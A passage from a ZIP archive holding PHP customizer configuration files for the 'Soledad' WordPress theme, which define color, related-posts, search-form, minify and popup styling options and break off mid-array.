	'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/main-bar.png">this image</a> to know what is Main Bar', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Main Bar Background', 'soledad' ),
	'id'       => 'penci_main_bar_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Main Bar Border Color', 'soledad' ),
	'id'       => 'penci_main_bar_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search, Shopping Cart & Mobile Bars Icons Color', 'soledad' ),
	'id'       => 'penci_main_bar_search_magnify',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Close Search Color', 'soledad' ),
	'id'       => 'penci_main_bar_close_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Overlay Background Color', 'soledad' ),
	'id'       => 'penci_search_obg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Overlay Input Color', 'soledad' ),
	'id'       => 'penci_search_oinput_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Overlay Border Color', 'soledad' ),
	'id'       => 'penci_search_obd_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Primary Menu', 'soledad' ),
	'id'       => 'penci_section_primary_menu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Color', 'soledad' ),
	'id'       => 'penci_main_bar_nav_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_main_bar_color_active',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Padding Menu Items Background Color', 'soledad' ),
	'description' => __( 'Use when you enable padding for menu items', 'soledad' ),
	'id'          => 'penci_main_bar_padding_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Background Color', 'soledad' ),
	'id'       => 'penci_drop_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Menu Items Border Color', 'soledad' ),
	'id'       => 'penci_drop_items_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Text Color', 'soledad' ),
	'id'       => 'penci_drop_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_drop_text_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Border When Hover for Menu Style2', 'soledad' ),
	'id'       => 'penci_drop_border_style2',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Category Mega Menu', 'soledad' ),
	'id'       => 'penci_section_category_megamenu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu Background Color', 'soledad' ),
	'id'       => 'penci_mega_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu List Child Categories Background Color', 'soledad' ),
	'id'       => 'penci_mega_child_cat_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_mega_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color for Category Mega Menu Style 2 & Featured Post on Style 5', 'soledad' ),
	'id'       => 'penci_mega_title_color_25',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu Post Date Color', 'soledad' ),
	'id'       => 'penci_mega_post_date_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Date Color for Category Mega Menu Style 2 & Featured Post on Style 5', 'soledad' ),
	'id'       => 'penci_mega_post_date_color_25',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mega Menu Post Category Color', 'soledad' ),
	'id'       => 'penci_mega_post_category_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu Accent Color', 'soledad' ),
	'id'       => 'penci_mega_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Border Color for Category Mega on Menu Style2', 'soledad' ),
	'id'       => 'penci_mega_border_style2',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Vertical Mobile Navigation', 'soledad' ),
	'id'          => 'penci_section_mobilevernav_color_heading',
	'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-mobile-navigation.png">this image</a> to know what is Vertical Mobile Navigation.', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Close Overlay Color', 'soledad' ),
	'id'       => 'penci_ver_nav_overlay_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Close Button Background', 'soledad' ),
	'id'       => 'penci_ver_nav_close_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Close Button Icon Color', 'soledad' ),
	'id'       => 'penci_ver_nav_close_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Background', 'soledad' ),
	'id'       => 'penci_ver_nav_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Borders Color', 'soledad' ),
	'id'       => 'penci_ver_nav_searchborder',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Text Color', 'soledad' ),
	'id'       => 'penci_ver_nav_textcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Search Icon Color', 'soledad' ),
	'id'       => 'penci_ver_nav_iconcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Accent Color', 'soledad' ),
	'id'       => 'penci_ver_nav_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Accent Hover Color', 'soledad' ),
	'id'       => 'penci_ver_nav_accent_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Menu Items Border Color', 'soledad' ),
	'id'       => 'penci_ver_nav_items_border',
);

return $options;
PK     N\2345  5  M  inc/customizer/config/sections/penci_section_spost_inline_reposts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Inline Related Posts Before/After Content', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/inline_related_posts.png" target="_blank">this image</a> to understand what\'s Inline Related Posts', 'soledad' ),
	'id'          => 'penci_inlinerp_beaf_head',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Add Inline Related Posts Before/After Post Content?', 'soledad' ),
	'description' => __( 'After enabling it, maybe you need to refresh the customize or check on the single post page on the front-end to see how it works.', 'soledad' ),
	'id'          => 'penci_show_inlinerp',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => __( 'None', 'soledad' ),
		'before' => __( 'Before Post Content', 'soledad' ),
		'after'  => __( 'After Post Content', 'soledad' ),
		'be_af'  => __( 'Before & After Post Content', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerp_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => __( 'Same Categories', 'soledad' ),
		'tags'        => __( 'Same Tags', 'soledad' ),
		'primary_cat' => __( 'Same Primary Category from "Yoast SEO" or "Rank Math" plugin', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'rand',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerp_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts:', 'soledad' ),
	'id'       => 'penci_inlinerp_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending Order', 'soledad' ),
		'ASC'  => __( 'Ascending  Order', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'list',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Style', 'soledad' ),
	'id'       => 'penci_inlinerp_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'list' => __( 'List', 'soledad' ),
		'grid' => __( 'Grid', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Inline Related Posts Float:', 'soledad' ),
	'id'       => 'penci_inlinerp_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'  => __( 'None', 'soledad' ),
		'left'  => __( 'Float To Left', 'soledad' ),
		'right' => __( 'Float To Right', 'soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Inline Related Posts Inside Post Content', 'soledad' ),
	'id'       => 'penci_inlinerp_insert_head',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Add Inline Related Posts Inside Posts Content?', 'soledad' ),
	'description' => __( 'After enabling it, maybe you need to refresh the customize or check on the single post page on the front-end to see how it works.', 'soledad' ),
	'id'          => 'penci_show_inlinerp_inside',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''         => __( 'None', 'soledad' ),
		'repeat'   => __( 'After Each X Paragraphs - Repeat', 'soledad' ),
		'norepeat' => __( 'After X Paragraphs - No Repeat', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Add Inline Related Posts Inside Posts Content After How Many Paragraphs?', 'soledad' ),
	'id'       => 'penci_show_inlinerp_p',
	'ids'      => array(
		'desktop' => 'penci_show_inlinerp_p',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerpis_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => __( 'Same Categories', 'soledad' ),
		'tags'        => __( 'Same Tags', 'soledad' ),
		'primary_cat' => __( 'Same Primary Category from "Yoast SEO" or "Rank Math" plugin', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'rand',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerpis_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts:', 'soledad' ),
	'id'       => 'penci_inlinerpis_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending Order', 'soledad' ),
		'ASC'  => __( 'Ascending  Order', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'list',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Style for Inline Related Posts Inside Post Content', 'soledad' ),
	'id'       => 'penci_inlinerp_style_insert',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'list' => 'List',
		'grid' => 'Grid',
	)
);
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Float for Inline Related Posts Inside Post Content:', 'soledad' ),
	'id'       => 'penci_inlinerp_align_insert',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'  => __( 'None', 'soledad' ),
		'left'  => __( 'Float To Left', 'soledad' ),
		'right' => __( 'Float To Right', 'soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'General Settings', 'soledad' ),
	'id'       => 'penci_inlinerp_general_head',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide on Mobile', 'soledad' ),
	'id'       => 'penci_inlinerp_hide_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '2',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Inline Related Posts Columns for Grid Style:', 'soledad' ),
	'description' => __( 'This option just applies when you select style is grid and "Inline Related Posts Float" is "None"', 'soledad' ),
	'id'          => 'penci_inlinerp_col',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'1' => __( '1 Column', 'soledad' ),
		'2' => __( '2 Column', 'soledad' ),
		'3' => __( '3 Column', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'label'    => __( 'How Many Posts You Want to Display?', 'soledad' ),
	'id'       => 'penci_inlinerp_num',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Heading Text Align', 'soledad' ),
	'id'       => 'penci_inlinerp_titalign',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => 'Left',
		'center' => 'Center',
		'right'  => 'Right',
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove the Line Below the Heading Text', 'soledad' ),
	'id'       => 'penci_inlinerp_titleline',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Featured Image on Grid Style?', 'soledad' ),
	'id'       => 'penci_inlinerp_hide_thumb',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Featured Image on the Right Side for Grid Style?', 'soledad' ),
	'id'       => 'penci_inlinerp_thumb_right',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date?', 'soledad' ),
	'id'       => 'penci_inlinerp_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Post Views?', 'soledad' ),
	'id'       => 'penci_inlinerp_views',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Font Sizes', 'soledad' ),
	'id'       => 'penci_inlinerp_fontsize_head',
	'type'     => 'soledad-fw-header',
);
/* Font Size */
$options[] = array(
	'label'    => '',
	'id'       => 'penci_inlinerp_fsheading_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading Text', 'soledad' ),
	'id'       => 'penci_inlinerp_fsheading',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_fsheading',
		'mobile'  => 'penci_inlinerp_fsheading_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_inlinerp_fstitle',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_fstitle',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_inlinerp_fsmeta',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_fsmeta',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Colors', 'soledad' ),
	'id'       => 'penci_inlinerp_colors_head',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_inlinerp_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color', 'soledad' ),
	'id'       => 'penci_inlinerp_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Text Color', 'soledad' ),
	'id'       => 'penci_inlinerp_cheading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for the Line Below Heading Text', 'soledad' ),
	'id'       => 'penci_inlinerp_cline',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_inlinerp_ctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_inlinerp_hctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_inlinerp_hcmeta',
);

return $options;
PK     N\v	  	  A  inc/customizer/config/sections/pencidesign_logo_header_colors.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slide Up Search Form', 'soledad' ),
	'id'       => 'penci_section_searchform_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_section_searchform_form_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_top_border_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Border Top Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_text_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Field Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_text_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Field Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_bd_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Field Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_hv_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_section_searchform_btn_hv_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Text Color', 'soledad' ),
);

return $options;
PK     N\͹    C  inc/customizer/config/sections/penci_section_speed_html_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Minify HTML', 'soledad' ),
	'description' => __( "Minify HTML won't apply for admin users logged in, so let check how it works without logged in.", "soledad" ),
	'id'          => 'penci_speed_html_minify',
	'type'        => 'soledad-fw-toggle',
);

return $options;
PK     N\^    E  inc/customizer/config/sections/penci_popup_section_styles_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_popup_bgimg',
	'default'   => '',
	'transport' => 'refresh',
	'type'      => 'soledad-fw-image',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Popup Background Image', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_popup_bgcolor',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Popup Background Color', 'soledad' ),
	'description' => __( 'Set background image or color for promo popup', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_popup_bgrepeat',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Repeat', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'repeat'    => __('repeat','soledad' ),
		'repeat-x'  => __('repeat-x','soledad' ),
		'repeat-y'  => __('repeat-y','soledad' ),
		'no-repeat' => __('no-repeat','soledad' ),
		'initial'   => __('initial','soledad' ),
		'inherit'   => __('inherit','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_popup_bgposition',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'left top'      => __('left top','soledad' ),
		'left center'   => __('left center','soledad' ),
		'left bottom'   => __('left bottom','soledad' ),
		'right top'     => __('right top','soledad' ),
		'right center'  => __('right center','soledad' ),
		'right bottom'  => __('right bottom','soledad' ),
		'center top'    => __('center top','soledad' ),
		'center center' => __('center center','soledad' ),
		'center bottom' => __('center bottom','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_popup_bgsize',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Size', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'       => 'penci_popup_bgscroll',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Scroll', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'scroll'  => __('scroll','soledad' ),
		'fixed'   => __('fixed','soledad' ),
		'local'   => __('local','soledad' ),
		'initial' => __('initial','soledad' ),
		'inherit' => __('inherit','soledad' ),
	]
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_popup_width_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'       => __( 'Popup Width', 'soledad' ),
	'description' => __( 'Set width of the promo popup in pixels.', 'soledad' ),
	'id'          => 'penci_popup_width_desktop',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_popup_width_desktop',
		'mobile'  => 'penci_popup_width_mobile',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_popup_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_popup_bordercolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_popup_closecolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Close Button Color', 'soledad' ),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_popup_txt_msize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Popup Text Size', 'soledad' ),
	'id'       => 'penci_popup_txt_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_popup_txt_size',
		'mobile'  => 'penci_popup_txt_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
